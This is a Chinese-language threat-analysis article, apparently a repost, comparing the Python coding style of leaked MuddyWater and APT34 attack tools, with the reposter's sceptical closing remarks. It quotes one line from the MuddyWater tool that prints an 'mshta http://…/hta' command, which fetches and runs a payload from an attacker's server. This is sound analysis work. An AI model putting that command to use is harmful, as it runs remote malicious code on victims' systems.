众所周知,APT是一种有国家背景支持的有组织、有目的的对特定对象展开的持续有效的攻击活动。这种攻击活动具有极强的隐蔽性和针对性,通常会运用受感染的各种介质、供应链和社会工程学等多种手段实施先进的、持久的且有效的威胁和攻击。

APT组织MuddyWater被普遍认为是一个来自中东地区的,长期活跃的组织。从2019年2月到4月,该组织发起了一系列针对土耳其、伊朗、阿富汗、伊拉克、塔吉克斯坦和阿塞拜疆的政府、教育机构、金融、电信和国防公司的网络钓鱼电子邮件攻击。

APT34组织至少从2014年开始,持续对中东及亚洲的某些国家发起了多次攻击,攻击目标为政府、金融、能源、电信等行业。该组织的目标一般是伊朗的对立国家,所以有人猜测,该组织是伊朗的某个安全部门,或者是和伊朗政府长期合作的安全公司。 该组织擅于使用社交媒体,在社交平台上伪造不同身份的互联网账号,通过社工手段来接近他们的攻击目标。同时,该组织的攻击武器库不断升级,攻击手法也越来越高明,他们将鱼叉钓鱼等攻击手段与新型攻击技术相融合,不断扩大现有目标的渗透范围。

在今年4月份,有国外媒体报道,一个名为“Lab Dookhtegan”的用户在Telegram上曝光了来自APT34组织的攻击工具包,一些APT34的受害者数据也同时被曝光出来。该事件如同以前的源代码泄露事件一样,极具爆炸性。

在今年5月份,某黑客组织成员在Telegram渠道(Channel:GreenLeakers)披露其拥有据称APT组织MuddyWater网络攻击的证据和资料,并进行忘了售卖。

本次通过比较MuddyWater和APT34两个APT组织泄露的源代码中,寻找编码风格上的相似性和差异性。

通过公开的资料显示MuddyWater泄漏工具是用Python编写的,并且实现了自动感染链的完整功能。

MuddyWater攻击的特点是第一级后门使用基于PowerShell,我们称之为“PowerStats”。尽管对 MuddyWater攻击活动进行了大量的分析和曝光,但该组织的攻击活动在工具和技术上不断升级和演化,企图绕过安全防护设备和沙箱的检测。

本次主要分析ATP34和Muddywater之间的似有似无的相似性,通过分析这两个APT组织在Python中的编码方式有一些异同性。因为程序员的编程风格一旦形成,无论写任何程序他的方格都是相似的。

本次将要比较的来源是上次泄漏”muddyc3“和”webmask的来源。所有内容都可以在网上公开查阅。下面几节将介绍一些关于所观察到的编码样式的注释。

1、代码的打印输出分析

通过对这两个APT组织的代码打印行为分析发现两者的打印行为各不相同,并且差异性非常大。

MuddyWater实现了一个更“拉风”的打印功能,当代码运行正确时添加符号“[+]”,当遇到错误的情况时添加符号“[-]”。此外,MuddyWater通过实现一个名为colors.py的核心函数在输出中使用颜色。这些小的功能组件在APT34资料来源中并没有被发现。

这两个APT组织都使用单引号打印字符串,并且在打印函数中使用运算符“+”而不是使用运算符"%s"作为字符串拼接。

在字符串替换中,muddywater在字符串的开头和结尾习惯性的使用“\n“,而在APT34源代码中,这种做法并不常见。

举个栗子:

print"\nmshta http://%s:%s/hta\n"%(config.IP,config.PORT)

如上面的代码中 MuddyWater泄露的代码中打印前后都有一个“\n”的换行符。

APT34看起来像是使用打印作为调试器,有很多注释的print语句,

比如:

#print"something"

而在MuddyWater中这根本不是一种常见的做法(只有一次)。

2、多行字符串的载荷

两个APT组织都使用多行注释的方式来传递有效载荷。 然而,两者的写作风格却迥然不同。

例如,APT34使用更加标准和易读的多行字符串方式,而Muddywater使用内联方式进行多行字符串的形式显示。

下面的图片显示了我所说的代码注释功能不能的含义。

MuddyWater 多行注释

APT34多行字符串

MuddyWater以内联多行字符串的形式显示其有效载荷,避免转义特殊字符,而APT34更喜欢使用标准的Python代码注释,这样提高了代码可读性,扩展了有效载荷。但是,这两个组织经常使用运算符=+进行连接,并且它们都使用"".join"从空字符串生成对象。

但是在muddywater包中发现了不同的样式。在core/webserver.py中,开发人员使用"".join"在core/res.py 中开发者同时使用了"".join和“”.join。同一个组织中的代码风格都不是很相同,高度怀疑是该组织是有多个开发者的,这也侧面印证了该组织的规模性。

3、代码函数和循环

这两个APT组织都使用相当清晰且相同的功能命名法。 尽管开发人员可能决定使用许多不同的术语

例如:代码中的 驼峰、首字符大写、小写符号、下划线等等,但是APT34和MuddyWater都选择使用小写带字符串的代码风格。

这两个组织在范围内都使用了大量的for i in range代码,而不是使用列表或while循环。这两种方法都采用了良好的代码风格。Muddywater以混淆PowerShell有效载荷的方式而闻名。他们喜欢使用replace函数值来替换“混淆的字符”

虽然APT34使用了不同的技术(例如:整数编码、十六进制编码等),但是即使在泄漏的APT34源代码中也不难找到这种技术的广泛使用。这种技术在JavaScript和PowerShell负载中不断出现。下面的显示了一个精心编制的内部函数replaceAll用于替换混淆技术的字符串。

4、总结

下表总结了代码中发现的相似之处和不同之处。您可能会发现每个差异都有一个字符,每个相似性都有一个+字符。代码中一些相似之处可能与代码实践有关,但我相信,这两个组织都有他们自己的代码风格。

对于作者的这种对比方式,本人是持有非常怀疑的态度的,也非常不明白这种对比有啥意义。

就拿字符串来说吧,本人平时在写代码中就会有意无意的有时候使用单引号有时候使用双引号,Python对比其他语言更加简洁和灵活,并且这两种方式都是一样的效果。

再比如Python的格式化字符串,有时候我就用%,有时候我就用format,用哪个字符串完全靠心情。

这种通过代码方式能够体一个组织是团队化还是个人化么?

本人才疏学浅,

也欢迎一起讨论一起交流!

参考连接:

https://marcoramilli.com/2019/06/27/similarities-and-differences-between-muddywater-and-apt34/

声明:本文来自透雾,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。